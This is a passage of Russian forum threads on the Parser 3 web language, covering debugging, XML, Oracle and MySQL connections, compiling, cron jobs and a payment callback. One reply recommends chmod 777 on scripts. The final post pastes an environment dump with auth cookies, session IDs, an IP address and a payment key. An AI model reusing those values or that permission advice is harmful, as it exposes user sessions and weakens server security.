	^if($v is class){<u>класс</u>}\
	^if($v is object){<u>объект</u>}\
	^if($v is file){^printFile[$v]}\
}\
# end @print[]\
[/code]\
\
Метод не идеален, причем далеко не идеален. Но переписывать лень, а для отладки пока хватает и этого.\
\
Ну и вот для примера один из дочерних методов (также не идеален):\
\
[code]\
@printHash[hash;params][_keys;level]\
^if($hash is hash){\
	$order_direction[^if(def $params.direction){$params.direction}{asc}]\
	$level(^params.level.int(0))\
	$_keys[^hash._keys[]]\
	^_keys.sort{$_keys.key}[$order_direction]\
	$result[\
	<ul style=\"list-style-type: none^;\">\
		^_keys.menu{\
			<li style=\"color: #000000\" style=\"padding: 0^;\">\
			<b>^$^if($level > 0){.}${_keys.key}^if($hash.[$_keys.key] is int){(}{[}</b>\
			<font color=\"#999999\">\
				^if($hash.[$_keys.key] is hash){\
					^printHash[$hash.[$_keys.key]][\
						$.direction[$order_direction]\
						$.level(^eval($level+1))\
					]\
				}{\
					^print[$hash.[$_keys.key]]\
				}\
			</font>\
			<b>^if($hash.[$_keys.key] is int){)}{]}</b>\
			</li>\
		}\
	</ul>\
	]\
}\
# end @printHash[]\
[/code]"
"43999","Кстати, можно скачать библиотеку полезных пользовательских операторов: http://www.parser.ru/examples/lib/\
\
Там есть тот же самый foreach, чуть-чуть исправленый Мишей ;)"
"44000","У каждого метода свои достоинства и недостатки. Это всё равно что спорить, что лучше -- Windows или Linux"
"44001","с if'ами я понял\
\
а в @printHash[hash;params][_keys;level] можно вставить некоорые куски кода из http://www.parser.ru/forum/?id=42371\
в частности\
\
[code]\
...\
$_int(0)\
^_keys.menu{\
    ^if(^_keys.key.int(0)){$_int(1)}\
}\
^if($_int){\
    ^rem{ *** Если ключи хэша - числа, значит соритруем по числу *** }\
    ^_keys.sort($_keys.key)[$order_direction]\
}{\
    ^_keys.sort{$_keys.key}[$order_direction]\
}\
...\
[/code]"
"44005","В принципе, если без if-ов, то switch-ами. Только зачем гнаться за упрощением: функция отладочная, а значит в готовом сайте (где бы то ни было) её либо не будет вообще либо она будет использоваться крайне редко. Так зачем мучаться?\
[quot]Работает -- не лезь ;))[/quot]"
"44007","Как можно передать значение переменной из PHP в JavaScript и наоборот"
"44008","Извините, вырвалось. В пору дисклаймер писать: \"Форум не про ПХП!!!\""
"44009","Как лучше организоват поиск по базе данных\
Есть поле в котором содержить ФИО, в поле поиск по фамилии надо ввести только фамилию, то есть неполную инфомацию, и полцить строку запроса.\
Like '$form:search' не помогает"
"44010","я если вижу, что найденая ссылка ведет на страницу форума, иду по этой ссылке лишь по очень большой необходимости, потому что большинство переходов приведет меня на страницы, где нет того, что я искал, т.к. оно давно уже переехало на страницу с другим url.\
\
лично меня это бесит. именно поэтому я готов мириться с тем неудобством, которое есть у постраничной навигации этого форума (частичное совпадение страницы с номером 1 и 2)."
"44012","[code]\
Есть исходный XML файл:\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document>\
	<item id=\"1\">\
		<name>product 1</name>\
		<price>3500</price>\
	</item>\
	<item id=\"2\">\
		<name>product 2</name>\
		<price>3400</price>\
	</item>\
</document>}]\
\
Из него выбираем узел item, где id=2\
$node[^document.selectSingle[/document/item[attribute::id=\"2\"]]]\
\
Далее имеется второй пустой документ:\
$document2[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document>\
</document>}]\
\
Нужно скопировать узел $node в $document2\
\
Мои действия:\
$node2[^document.importNode[$node](2)]\
(После этого действия в документ2 ничего не добавляется)\
Тогда пробуем еще и так:\
$node[^document2.appendChild[$node]] \
[/code]\
В результате выдается ошибка:\
HIERARCHY_REQUEST_ERR: Raised if this node is of a type that does not allow children of the type of the newChild node, or if the node to append is one of this node's ancestors.\
\
С XML я до этого не сталкивался, и удачных примеров использования я так и не нашел.\
\
Прошу помочь один раз показать как добавляются элементы и удаляются, (удалить у меня тоже не получилось) и как копировать из одного документа в другой."
"44014","Читайте внимательнее:\
у метода appendChild\
HIERARCHY_REQUEST_ERR, расшифровка также приведена"
"44016","Извини, не так твое предъидущее сообщение прочитал.\
Сообщение об ошибке-то понятно, но как его обойти.\
Я не очень понимаю порядок действий для каких-либо изменений."
"44017","никогда не называйте ничего\
[code]\
$hrenovina\
$hrenovina2\
[/code]\
\
это чревато ошибками."
"44018","Написал так для эксперемента, на самом деле там в обоих случаях [code]$node[/code]\
Потому что не понимаю, что делает importNode, в моем случае он не делает ничего, даже ошибку не выдает"
"44019","У xml-я может быть только один корневой элемент. Вы пытаетесь приаппендить второй. Нужно выбирать этот корневой элемент и потом к выбранному узлу аппендить другой нужный... Вроде так."
"44022","Спасибо, все заработало."
"44023","PAF пытался в форме совета-с-намёком объяснить, что вы перепутали document и document2\
\
У вас было так:\
[code]\
$node2[^document.importNode[$node](2)]\
(После этого действия [b]в документ2 ничего не добавляется[/b]) - совершенно верно!\
Тогда пробуем еще и так:\
$node[^document2.appendChild[$node]] \
[/code]\
Обратите внимание, что вы пытаетесь вызвать метод appendChild у объекта document2, однако, такого метода в классе xdoc нету (см. документацию)\
\
Должно быть наверное так:\
[code]\
$node2[^document2.importNode[$node](1)]\
$node2[^document2.documentElement.appendChild[$node2]]\
[/code]"
"44024","а как насчёт того, чтобы после поиска в яндекса поискать по найденному форуму?"
"44025","http://www.parser.ru/docs/lang/xnodeselectsingle.htm\
[quot]Если запрос выдал больше, чем один узел, выдается ошибка [b]xml-типа[/b].[/qout]\
\
На самом деле, ошибка типа [b]parser.runtime[/b]\
\
Для проверки:\
[code]\
$doc[^xdoc::create{<root>\
	<node/>\
	<node/>\
</root>}]\
$node[^doc.documentElement.selectSingle[node]]\
[/code]\
в заголовке страницы - Unhandled Exception (parser.runtime)"
"44026","К тому же есть существенная разница между Яндексом и поиском по этому форуму: релевантность и словоформы здесь не учитываются."
"44027","как заставить первый работать через второго?"
"44028","Проверьте ещё раз написанный скрипт. У меня ваш код успешно выдаёт:\
[quot][b]node[/b]\
resulted not in a single node (2)[/quot]"
"44030","Яндекс помимо всего прочего выдаёт найденную часть документа, причём, именно в той, форме, в которой эта часть была на найденной странице. А значит, по форуму нужно искать именно так.\
\
Хотя, конечно, гораздо лучше, когда всё уже найдено правильно."
"44031","Есть ли у кого реализации? И появится ли такое в Парсере?"
"44033","Вы уже довольно давно на форуме для того, чтобы задавать вопросы в таком ключе.\
\
ответ в лоб  - в auto.p напишите\
$MAIL[\
	$.SMTP[127.0.0.1]\
]"
"44034","да-а-а-а... вот блин... тяжёлый случай..."
"44035","Да... Не посмотрел, извините"
"44037","Есть такое подозрение, что большая часть неподписанных сообщений не подписана по забывчивости, а не из умысла остаться noname. Нет?"
"44038","я посмотрел кто это писал... этот человек обычно пишет залогинившись. так что тут он просто хотел остаться анонимным."
"44039","Win2000 Advansed Server sp4 + IIS + Parser 3.x + Oracle 9i\
\
Никак не удается соединиться с Oracle, причем с MySQL, который крутится на FREEBSD соединяюсь без проблем\
\
пробовал строки соединения:\
\
$connect_system[odbc://DSN=st^;UID=st^;PWD=st]\
или\
$connect_system[oracle://st:st@store]\
с различными параметрами, не помогает... \
\
^connect[$connect_system]{\
#\
}\
\
постоянно Unhandled Exception."
"44040","(и почитайте правила пользования форумом заодно)"
"44041","Ошибка в браузере:\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
\
Содержимое sqlnet.log\
Fatal NI connect error 12638, connecting to:\
 (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=wirth)(PORT=1521))(CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_NAME=store)(CID=(PROGRAM=C:\\parser\\parser3.exe)(HOST=WIRTH)(USER=IUSR_WIRTH))))\
\
  VERSION INFORMATION:\
	TNS for 32-bit Windows: Version 9.2.0.6.0 - Production\
	Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 9.2.0.6.0 - Production\
  Time: 30-АВГ-2005 18:42:13\
  Tracing not turned on.\
  Tns error struct:\
    nr err code: 0\
    ns main err code: 12638\
    TNS-12638: сбой при поиске реквизитов доступа\
    ns secondary err code: 0\
    nt main err code: 0\
    nt secondary err code: 0\
    nt OS err code: 0"
"44042","Иначе не было бы сообщений вдогонку неподписанным: «Это был я», «В прошлом посте забыл подписаться» и т. д. Не исключено, что некоторые забывшие такого добавочного сообщения не писали чтобы не засорять форум. При запрете безымянных сообщений, они уже не забудут (не получится), а те кто хочет писать анонимно найдут выход — йф,.+0 (что угодно)...\
\
Всё, конец, больше не достаю :-)"
"44043","[Wed Aug 31 13:38:43 2005] /1.html: D:/REPORT/1.html(16:2): 'C:\\parser/lib/parser3oracle.dll' driver implements API version 0x0009 not equal to 0x0008 [<no type>]"
"44045","у вас лежит новый,\
а нужен из предыдущей версии.\
\
проще всего обновить сам parser3.exe на последнюю версию."
"44046","Это вы про \"ответ, deMone\" или про \"наезд?\"\
Для автора последнего: конечно, нет. сообщение \"да-а-а-а... вот блин... тяжёлый случай...\" это я про себя — что не смог догадаться сам и сразу."
"44047","переустановил последнюю версию Parser - все получилось.\
Спасибо огромное!!!"
"44048","1. Делаю сайт на парсере. Проблема в том, что при попытке открытия заведомо несуществующей страницы, то вместо 404 выдаётся страница, сгенерированная парсером:\
[quot][b]z:/home/parse.ru/www/2.html[/b]\
read failed: No such file or directory (2), actual filename 'z:/home/parse.ru/www/2.html'[/quot]\
ErrorDocument в .htaccess-е не помогает. Но это и не ошибка Apache, так как на остальных сайтах (не парсеровых) ErrorDocument прекрасно работает. Что делать?\
2. Можно ли создать функцию, которая обязательно бы выполнилась при завершении работы скрипта. Как register_shutdown_function() в PHP? В поиске не нашёл. Хотя, может быть плохо искал..."
"44049","Это все давно придумано (по первому вопросу)"
"44051","Cтолкнулся с проблемой - закачивать бинарные файлы в БД невозможно.\
\
Есть задача - хранение юллюстраций и аттачей (*.doc, *.zip, etc) к документам в базе. Документы связаны между собой в дерево, при запросе uri имеет вид (/директория/поддиректория/etc).\
\
Вопрос - как лучше всего в этом случае хранить и отдавать бинарные файлы средствами парсера? \
\
Id + ссылка на файл в файловой системе?\
просто хранить их на диске \"как есть\" (дублирование дерева на диске)?\
или например, написать на перл скрипт помещающий файл в бд?\
\
какое решение считается наиболее оптимальным? \
\
P.S. Производительность в моем случае некритична, к тому же всегда можно использовать кеширование."
"44052","Не понял... То есть я что, [i]придумал[/i] эту ошибку?\
\
C postprocess большое спасибо, забыл о нём."
"44053","Считываете файл, шифруете в base64 (на форуме есть ссылка на реализованный метод), запихиваете в БД, в поле типа LONGBLOB или LONGTEXT.\
\
При считывании -- обратная операция"
"44054","Правда, этот метод неполный и его придётся дополнить словарь символов вручную. Впрочем, это несложно.\
Сам метод вот: http://www.parser.ru/forum/?id=19631\
только сегодня сам его искал."
"44055","Варианты найдете поиском. Фильтр = PAF."
"44056","Вот насколько же ленивое существо человек! А в особенности я...\
\
Кстати, предлагаю ФАК добавить в официальную справку по Парсеру."
"44057","Сделали сайт. Выбора в хостинг-прове у меня нет. Хостер достаточно крутой: тех.площадка с США и Англии. На серваке стоит Linux Debian, сначала закачал парсер который работал у меня локально на Red Hat 9.0 (Shrike), потом залил на хостинг - парсер ругается в error_log:\
parser3.cgi: relocation error: parser3.cgi: symbol __libc_stack_end, version GLIBC_2.1 not defined in file ld-linux.so.2 with link time reference\
\
Хостингер сказал что ничем помочь не может, так как у него стоит GLIBC 2.3 и 2.1. ставить никто не будет.\
\
Я скомпили у себя (у меня тоже GLIBC 2.3, но видимо это ниче не дает) компилил статически с параметром \
--with-static-gc=$HOME/gc/lib\
все чудо собралось на 4.9 метра примерно\
\
закачал, та же тема, та же ошибка и что делать?\
локально естественно все заработало, \
но как быть с хостингером?\
\
----\
P.S.: Местные топики я естественно прочел."
"44058","Просто было запущено несколко браузеров (тестировался сайт)\
залогинен был на IE, а зашел  на парсер.ру под Оперой увидел нечто похожее на наезд вместо банального молчания или простого \"спасибо\" и в серцах написал не обратив внимание на подпись, которой нету.\
По-моему и так было понятно что это  написал я.\
\
Сейчас захожу - а тут уже дебаты по этому поводу.\
Я согласен с Kaverdo. Либо пость от себя, либо не заливай форум анонимками."
"44059","Как организовать файлы на диске — как вам удобно. Например, иметь в БД табличку files с полями: file_id, document_id, file_ext, file_name. И хранить на диске так:[code]attachments/$document_id/$file_id.$file_ext[/code]\
\
Будет очень удобно доставать нужные файлы."
"44061","Простите, вопрос вероятно глупый...\
но все же...\
\
Вот хотелось бы мне вести разработку под Oracle на локале, как я раньше и делал под MySQL используя денвер. \
\
На локале у меня стоит только клиентская часть Oracle, которая как выяснилось не содержит библиотеки oci.dll \
Ставить сервер на локале - не вариант, рабочая и девелоперская базы уже существуют на специально отведенном сервере.\
Возможно как то все же настроить локальный апач и парсер для коннекта с удаленным серваком, используя только клиентскую часть ораклы?"
"44063","если не сумеете разобраться, почему, когда локально glibc 2.3, то подкомпоновывается ссылка на 2.1 (не должна же!), то всегда можно совсем static собрать."
"44064","видимо, что-то всё же не установлено.\
\
поищите у соседа: установлено ли у него?\
в реестре ничего существенного у oracleclient нет, поэтому достаточно будет списать файлы, и всё заработает.\
\
насколько понимаю, вам нужен \
C:\\oracle\\ora90\\bin\\\
C:\\oracle\\ora90\\network\\ADMIN\\\
и ещё сколько-то каталогов."
"44065","Но возникает ошибка Unhandled Exception\
\
смотрю в логи, вижу: \
[Wed Aug 31 17:08:01 2005] [3948] /1.html: z:/home/system2/www/1.html(16:2): '\\usr\\local\\parser3/lib/parser3odbc.dll' can't open the module [<no type>]\
\
подскажите где подкрутить чтоб ODBC заработал?"
"44067","http://www.parser.ru/docs/lang/filesql.htm\
http://www.parser.ru/docs/lang/responsedownload.htm"
"44068","с oracle и так всё весело, oracle через odbc ещё хуже."
"44069","почему вы решили, что клиентские библиотеки установлены?\
как следует проверьте."
"44070","Как совсем статик собрать? дайте How To.\
\
Вот результат сборки на хосте провайдера:\
\
cryptah_ftp1@cgi9:~/tmp/parser3$ make\
Making all in src\
make[1]: Entering directory `/home/clients/cryptah_ftp1/tmp/parser3/src'\
Making all in include\
make[2]: Entering directory `/home/clients/cryptah_ftp1/tmp/parser3/src/include'\
make  all-am\
make[3]: Entering directory `/home/clients/cryptah_ftp1/tmp/parser3/src/include'\
make[3]: Leaving directory `/home/clients/cryptah_ftp1/tmp/parser3/src/include'\
make[2]: Leaving directory `/home/clients/cryptah_ftp1/tmp/parser3/src/include'\
Making all in main\
make[2]: Entering directory `/home/clients/cryptah_ftp1/tmp/parser3/src/main'\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/pcre -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl     -g -O2 -MT compile.tab.o -MD -MP -MF \".deps/compile.tab.Tpo\" \\\
  -c -o compile.tab.o `test -f 'compile.tab.C' || echo './'`compile.tab.C; \\\
then mv \".deps/compile.tab.Tpo\" \".deps/compile.tab.Po\"; \\\
else rm -f \".deps/compile.tab.Tpo\"; exit 1; \\\
fi\
../../src/include/pa_stack.h: In member function 'void Stack<T>::push(T)':\
../../src/include/pa_stack.h:23: error: there are no arguments to 'count' that depend on a template parameter, so a declaration of 'count' must be available\
../../src/include/pa_stack.h:23: error: (if you use '-fpermissive', G++ will accept your code, but allowing the use of an undeclared name is deprecated)\
../../src/include/pa_stack.h: In member function 'T Stack<T>::pop()':\
../../src/include/pa_stack.h:31: error: there are no arguments to 'get' that depend on a template parameter, so a declaration of 'get' must be available\
../../src/include/pa_stack.h: In member function 'T Stack<T>::top_value()':\
../../src/include/pa_stack.h:39: error: there are no arguments to 'get' that depend on a template parameter, so a declaration of 'get' must be available\
../../src/include/pa_stack.h: In member function 'void Stack<T>::wipe_unused()':\
../../src/include/pa_stack.h:44: error: 'fused' was not declared in this scope\
../../src/include/pa_stack.h:45: error: 'felements' was not declared in this scope\
make[2]: *** [compile.tab.o] Error 1\
make[2]: Leaving directory `/home/clients/cryptah_ftp1/tmp/parser3/src/main'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/home/clients/cryptah_ftp1/tmp/parser3/src'\
make: *** [all-recursive] Error 1"
"44072","посмотрите:\
****auto.p:\
[code]@main[]\
function1: ^function1[]<BR>\
function2: ^function2[]<BR>\
\
@function1[]\
$variable[something]\
\
@function2[]\
$variable[/code]\
\
****index.php:\
[code]function1: <?function1();?><BR>\
function2: <?function2();?><BR>\
\
<?\
function function1()\
{$variable = \"something\";}\
function function2()\
{print($variable);}\
?>\
[/code]\
\
auto.p выводит\
function1: \
function2: something\
\
index.php выводит\
function1: \
function2: \
\
я хочу создать локальные переменные так как я делал в пхп. Каторые переменне в папсере глобальные? Все? Я написаль программ и уже все перемеенные мне началысь мешать."
"44075","просьба понимать, чьих рук спасение утопающих и вымогательство свернуть.\
\
что до ошибок: воспользуйтесь поиском по форуму."
"44076","вы конкретнее предлагайте.\
и послушайте, что вам скажут на ваши предложения по [b]изменению[/b] другие люди."
"44077","В $request:query имеем:\
[b]a=a&b=b&c=[/b]\
\
Выполняем:[code]^form:fields.foreach[key;value]{$key=$value}[, ][/code]\
\
[b]Как сейчас:[/b]\
a=a, b=b, c=\
\
[b]Разве так не логичней:[/b]\
a=a, b=b\
\
Нет?"
"44078","Пустая строка - это тоже значение."
"44081","Файлы получается только доставать, закачивать не получается."
"44084","вопрос - как туда [i]оптимальнее[/i] помещать файлы."
"44085","Да добавлял, тот же лог ошибок выплюнуло"
"44087","[quot]Файлы получается только доставать, закачивать не получается.[/quot]\
\
Я похож на идиота? :-)"
"44088","Имеем конструкцию.\
[code]\
@block[]\
$result[\
<TABLE cellSpacing=1 cellPadding=8 width=\"100%\" bgColor=#ffffff border=0>\
<TBODY>\
<TR>\
<TD class=elpx>\
<p>[b]Некtй текст [i]&nbsp;[i][/b] </p>                        \
</TD></TR></TBODY></TABLE>\
]\
[/code]\
При её вызове парсер выдает ошибку: expecting `STRING' or `'$'' or `'^''\
Убираем &nbsp; все работает прекрасно.\
Причем это относится ко всем &amp; и т.д.\
Многие редакторы вставляют эот символ и крайне неудобно каждый раз его вырезать из кода.\
Есть ли решение данной проблемы?"
"44090","Нашел сообщения Пафа, где написано, что такое невозможно даже не стал искать в доке ("
"44091","[code]@block[]\
$result[\
<TABLE cellSpacing=1 cellPadding=8 width=^\"100%^\" bgColor=#ffffff border=0>\
<TBODY>\
<TR>\
<TD class=elpx>\
<p>Некtй текст [i]&nbsp^;[i] </p>                        \
</TD></TR></TBODY></TABLE>\
][/code]"
"44092","Это я понял, к сожалению нет возможности в редакторе заменить тег на ^&nbsp;\
Других выходов, как я понимаю нет?"
"44093","Если редактор не может поменять во всем тексте &nbsp; на &nbsp^; то нужно сменить редактор... :)"
"44095","после ./make\
ошибки:\
^[[D../../src/include/pa_stack.h: In member function 'void Stack<T>::push(T)':\
../../src/include/pa_stack.h:23: error: there are no arguments to 'count' that depend on a template parameter, so a declaration of 'count' must be available\
../../src/include/pa_stack.h:23: error: (if you use '-fpermissive', G++ will accept your code, but allowing the use of an undeclared name is deprecated)\
../../src/include/pa_stack.h: In member function 'T Stack<T>::pop()':\
../../src/include/pa_stack.h:31: error: there are no arguments to 'get' that depend on a template parameter, so a declaration of 'get' must be available\
../../src/include/pa_stack.h: In member function 'T Stack<T>::top_value()':\
../../src/include/pa_stack.h:39: error: there are no arguments to 'get' that depend on a template parameter, so a declaration of 'get' must be available\
../../src/include/pa_stack.h: In member function 'void Stack<T>::wipe_unused()':\
../../src/include/pa_stack.h:44: error: 'fused' was not declared in this scope\
../../src/include/pa_stack.h:45: error: 'felements' was not declared in this scope\
\
\
P.S.: Я не сильно секу в компоновке и компиляции, просто задачи другие, но из-за того что писал на парсере, стал теперь заложником траблы что помочь некому, и собираю впервые.\
Форум до дыр исчитал."
"44097","Вопрос по 4 уроку.\
При запросе базы p3test что лежит в ...\\localhost03\\html, в error.log появляется строчка [Thu Sep 01 11:21:17 2005] [error] [client 127.0.0.3] /news/: c:/apache_swissknife/сайты/localhost03/html/news/index.html(16:2): 'mysql://****@127.0.0.3/p3test' Unknown database 'p3test' [sql.connect]\
\
Из раздела news, как я понимаю данная конструкция\
\
<b><h1>НОВОСТИ</h1></b>\
$day(^if(def $form:day){\
   $form:day\
}{\
   $now.day\
})\
^connect[$connect_string]{\
   $news[^table::sql{select\
       date, header, body \
   from\
      news \
   where\
      date='${now.year}-${now.month}-$day'\
   }]\
   ^if($news){\
      ^news.menu{\
         <b>$news.date - $news.header</b><br>\
         ^untaint{$news.body}<br>\
      }[<br>]\
   }{\
      За указанный период новостей не найдено.\
   }\
}\
\
обращается к auto.p в корне сайта, там записано \
@auto[]\
$connect_string[mysql://parser:parser@127.0.0.3/p3test]\
\
Вопрос как MySQL указать где находиться p3test и каков синтаксис базы MySQL"
"44099","Может есть у кого собраный парсер абсолютно статически, я уже на все готов, лишь бы у прова на Debian Linux запустилось.\
У прова компилить ни вкакую ошибок тьма.\
У себя могу скомпилить у меня GLIBC 2.3 у прова тоже.\
Когда у себя компилю, подливаю к прову, парсер ругается на\
отсутсвие GLIBC 2.1 - почему он подрубает все таки 2.1 я понять не могу (ничего не менял).\
Качал сорсники как местные с сайта, так и с CVS релиз.\
\
Соберите плиз кто умеет(руки оттуда растут) парсер статически для Линухов чтоб все в нем было зашито. (XML - не нужен, а mysql нужен)"
"44100","Спасибо за поправку, ошибся немного при наборе =)"
"44101","Во-первых: вы уверены, что БД установлена на 127.0.0.3, а не 127.0.0.1, как это обычно бывает?\
Во-вторых: проверьте, что пользователь parser создан и имеет права на доступ к этой БД. Попробуйте использовать вместо этого пользователя root-а.\
И в-третьих: проверьте правильность пароля. Мало ли что..."
"44102","Почему бы не использовать Денвер?"
"44103",", на сколько я знаю, нету.\
Судя по всему в след версии будет оператор ^sleep(seconds)\
сейчас я пользуюсь  ^cache[] но это не всегда подходит."
"44104","Решение этого вопроса намного легче,\
чем мне казалось в самом начале.\
Прикупив чудную книжечку   Д. Кренке\
Теория и практика построения баз данных, \
я решил эту мелкую неприятность построением очень простого запроса:\
[code]\
^MAIN:dbconnect{\
$players[^table::sql{SELECT `char`.`name` , `char`.`base_level` , `char`.`job_level`, `replase`.`class_replase`\
 FROM `char`, `replase`\
 WHERE `char`.`class`=`replase`.`class`\
 ORDER BY `base_level` DESC\
}]\
}\
[/code]"
"44105","так что подключайтесь к дщсфдрщые и не заморачивайтесь на 127.0.0.1 (2|3)"
"44107","Может есть у кого собраный парсер абсолютно статически, я уже на все готов, лишь бы у прова на Debian Linux запустилось.\
У прова компилить ни вкакую ошибок тьма.\
У себя могу скомпилить у меня GLIBC 2.3 у прова тоже.\
Когда у себя компилю, подливаю к прову, парсер ругается на\
отсутсвие GLIBC 2.1 - почему он подрубает все таки 2.1 я понять не могу (ничего не менял).\
Качал сорсники как местные с сайта, так и с CVS релиз.\
\
Соберите плиз кто умеет(руки оттуда растут) парсер статически для Линухов чтоб все в нем было зашито. (XML - не нужен, а mysql нужен)"
"44109","Я полагаю, что в форуме все сообщения просмотрел на эту тему, тем не менее ничо у меня не выходит. :(( \
\
На настоящий момент прописываю через контрольную панель хостера:\
[code]GET http://domain.ru/cgi-bin/script.p > /dev/null[/code]\
(не цитата :))\
\
В script.p пишу первой строкой:\
[color=#000066]#!parser3.cgi[/color]\
\
Пробовал еще так:\
[code]GET http://domain.ru/cgi-bin/parser3.cgi script.p > /dev/null[/code]\
\
Тоже не фурычит. :(("
"44110","[quot]Либо пость от себя, либо не заливай форум анонимками.[/quot]\
А кто мешает завести новый логин и написать [i]анонимку[/i]?\
\
Бывает в попыхах напишешь пост, отправляешь, а он анонимный, потому что залогиниться забыл... и самое главное, отредактировать его уже нельзя :("
"44111","CXX=\"g++-3.3\" CFLAGS=\"-O2\" CXXFLAGS=\"-O2\" ./configure --disable-safe-mode --with-mysql-client"
"44112","/home/.../cgi-bin/parser /home/.../path/to/script.p"
"44113","А я правильно понимаю, что для того, чтобы parser прочитал конфиг при таком раскладе, надо какие-то особые телодвижения совершать?\
\
Иерархическая зависимость auto.p распадается и необходимо сделать файл со скриптом самодостаточным, объявив в нем все нужные переменные и функции? Тогда что делать с драйверами mysql?"
"44114","[quot]Тогда что делать с драйверами mysql?[/quot]а что с ними может случиться?"
"44115","Есть четыре варианта ответа на мои вопросы:\
1. да, да\
2. да, нет\
3. нет, да\
4. нет, нет\
\
:)"
"44116","Oracle Instant client ~ 30 MB, все dll-ки в наличии. У меня работает, больше от оракла ничего не установлено"
"44118","cd путь_в_каталог_который_есть_document_root ./относительный_путь_отсюда_к_каталогу_парсера/parser.cgi ./относительный_путь_к_вашму_скрипту/скрипт.html [ >./относительный_путь_к_каталогу_с_логами/output.log ]"
"44119","AFAIK, я не могу изобразить cd или абсолютный путь. :(\
У меня есть окошки для ввода режима работы и input для ввода строки команды.\
\
В контрольной панели:\
[code]Для запуска файлов PHP, вводите команды как показано:\
GET http://yourdomain.com/path_to_file/file.php > /dev/null\
\
Для запуска CGI файлов, вводите команды как показано:\
GET http://yourdomain.com/cgi-bin/path_to_file/file.cgi > /dev/null[/code]"
"44121","Есть у меня в mysql табличка такой структуры:\
id, is_dt_control, dt_start, dt_end\
\
В is_dt_control лежит 0 или 1. В dt_start и dt_end две строки типа date.\
Надо выбрать из таблицы все строки, со следующим условием:\
 - если в is_dt_control лежит 1, то текущая дата должна быть в отрезке который задан в dt_start и dt_end, а если там ноль, то выбрать строку надо в любом случае.\
\
Подскажите пожалуйста, как это можно организовать?\
При том, что это не единственное условие в where (просто для примера полную структуру таблицы не стал приводить)"
"44122","А если в новой версии mysql новые служебные слова появятся?\
Это вопрос вкуса."
"44123","[code]\
WHERE\
  is_dt_control == 0\
  OR (\
    NOW() >= dt_start\
    AND NOW() < dt_end\
  )\
[/code]"
"44124","Но почему просто не вызывать GET http://your-server.ru/scripts/script.html? К каталогу scripts всегда можно разрешить доступ только со своего хоста."
"44126","Кто-то пишет на две буквы меньше (grp), кто-то на н-ное число ` больше ;-)"
"44128","парсер должен усти в sleep и не жрать рессурсы процессора."
"44129","После компиляции ругается\
\
./lib/libparser3mysql.so: undefined symbol: __cxa_pure_virtual \
\
это не __gxx про которую я прочел и FAQ форума помог. Тут про это ничего не сказано. Я пробовал и LDFLAGS и \
--with-dynamic-stdcpp  - все одно - не рулит и все тут.\
\
P.S.: Кстати собирается у прова на Debian в виде двух файлов:\
*libparser3mysql.la \
*libparser3mysql.so"
"44130","Крон так не умеет. Ему нужно указать программу, которая будет работать, т.к. сам скрипт — это не самостоятельная программа."
"44131","Просто, как три копейки :)\
\
Кстати, а у скрипта стоят права на исполнение? Может в этом дело. Поставьте chmod 755 или 777 и посмотрите, а вдруг?"
"44132","cron:\
\
[code]GET http://domain.ru/papka/mamka/index.html > /dev/null[/code]\
\
index.html:\
\
[code]$newlog[Проверка: ^eval(2*2)]\
^newlog.save[check.txt][/code]\
\
Из браузера выполняется, из cron - дуля."
"44134","На моем хостинге при таком запросе вызывается консольный браузер и спокойно по HTTP запрашивает нужную страниц."
"44135","Есть платежная система 2co.com\
После успешной обработки платежа по карте 2co.com возвращает покупателя на необходимую страницу на мое сайте (она обрабатывает переменные окружения и поля формы)\
Вот информация, которую я получаю (с небольшими купюрами :)\
CONTENT_LENGTH = 366\
CONTENT_TYPE = application/x-www-form-urlencoded\
DOCUMENT_ROOT = /home/host/public_html\
GATEWAY_INTERFACE = CGI/1.1\
HTTP_ACCEPT = text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\
HTTP_ACCEPT_CHARSET = windows-1251,utf-8;q=0.7,*;q=0.7\
HTTP_ACCEPT_LANGUAGE = ru-ru,ru;q=0.5\
HTTP_CONNECTION = keep-alive\
HTTP_COOKIE = auth.persistent=0; auth.uid=host_ip%3Dd29c38217c188d7aabb2f9e33aa6ee7a; auth.uid.updated=2005-09-01%2015%3A48%3A47; auth.name=ivan; cookie=on; auth.sid=83.239.157.171%3Dd8b2b8d3ee7099959a75e07f2b411e11\
HTTP_HOST = www.host.com\
HTTP_KEEP_ALIVE = 300\
HTTP_USER_AGENT = Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\
PATH = /usr/local/bin:/usr/bin:/bin\
PATH_INFO = /payment_gate/2co/index.html\
PATH_TRANSLATED = /home/host/public_html/payment_gate/2co/index.html\
REDIRECT_STATUS = 200\
REDIRECT_URL = /payment_gate/2co/index.html\
REMOTE_ADDR = hostIP\
REMOTE_PORT = 30083\
REQUEST_METHOD = POST\
REQUEST_URI = /payment_gate/2co/\
SCRIPT_FILENAME = /home/host/public_html/cgi-bin/parser3.cgi\
SCRIPT_NAME = /home/host/public_html/cgi-bin/printenv.cgi\
SERVER_ADDR = hostIP\
SERVER_ADMIN = webmaster@host.com\
SERVER_NAME = www.host.com\
SERVER_PORT = 80\
SERVER_PROTOCOL = HTTP/1.1\
SERVER_SOFTWARE = Apache/1.3.33 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 PHP/4.3.10 FrontPage/5.0.2.2635 mod_ssl/2.8.22 OpenSSL/0.9.7a\
------------\
tcoid - 649ea70da9281b4c415117b0b0a63f9d\
merchant_order_id -\
key - 5D1B7AB54C6BF64695EFF5DD34EB38DD\
sid - 412061\
credit_card_processed - Y\
zip - 21\
merchant_product_id - 1\
email - my@email.com\
product_id - 1\
order_number - 2042354147\
city - 321\
option- -\
country - United Kingdom\
street_address - 321, 321\
demo - Y\
state - XX\
card_holder_name - 321\
total - 29.99\
quantity - 1\
